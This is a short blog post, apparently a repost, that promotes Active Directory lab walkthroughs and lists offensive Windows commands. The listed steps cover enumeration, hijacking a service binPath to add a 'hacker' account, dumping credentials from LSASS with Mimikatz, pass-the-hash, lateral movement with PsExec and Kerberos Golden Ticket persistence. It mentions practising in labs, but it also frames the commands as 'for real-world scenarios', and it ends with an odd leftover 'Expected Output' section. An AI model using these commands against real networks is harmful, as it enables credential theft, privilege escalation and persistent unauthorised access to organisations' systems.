Active Directory Exploitation Series: Standalone Machines To Red Team Labs

Check out the walkthroughs for the first two machines, Baby and Baby2, on my blog:
🔗 https://cyb4x.github.io/

You Should Know:

1. Enumerating Standalone Windows Machines

Before exploiting Active Directory, reconnaissance is key. Use these commands to gather information:

 System Information 
systeminfo 
whoami /all

Network Configuration 
ipconfig /all 
arp -a 
netstat -ano

User and Group Enumeration 
net user 
net localgroup administrators 
net group /domain

2. Exploiting Weak Service Permissions

If a service runs with excessive privileges, you can hijack it:

 Check service permissions with PowerUp.ps1 
Import-Module .\PowerUp.ps1 
Invoke-AllChecks

If a vulnerable service is found, exploit it: 
sc config <ServiceName> binPath="C:\Windows\System32\cmd.exe /c net user hacker P@ssw0rd /add" 
sc start <ServiceName>

3. Dumping Credentials from Memory

Use Mimikatz to extract credentials:

 Dump LSASS memory 
sekurlsa::logonpasswords

Pass-the-Hash Attack 
sekurlsa::pth /user:Admin /domain:Corp /ntlm:<NTLM_Hash>

4. Lateral Movement with PsExec

Move laterally using compromised credentials:

PsExec.exe -u DOMAIN\User -p Password \TargetMachine cmd.exe

5. Persistence via Golden Tickets

Generate a Kerberos Golden Ticket for persistent access:

kerberos::golden /user:Administrator /domain:corp.com /sid:<SID> /krbtgt:<KRBTGT_Hash> /ptt

What Undercode Say:

Active Directory exploitation requires deep knowledge of Windows internals, Kerberos, and lateral movement techniques. Always practice in controlled environments like Vulnlab or HTB. Key takeaways:
– Recon is crucial – Know the environment before attacking.
– Privilege escalation is often the first step.
– Lateral movement relies on credential dumping and pass-the-hash.
– Persistence ensures long-term access.

Master these commands and techniques to excel in Red Team operations.

Expected Output:

A detailed walkthrough of AD exploitation techniques, including reconnaissance, privilege escalation, lateral movement, and persistence, with practical commands for real-world scenarios.

🔗 Reference: https://cyb4x.github.io/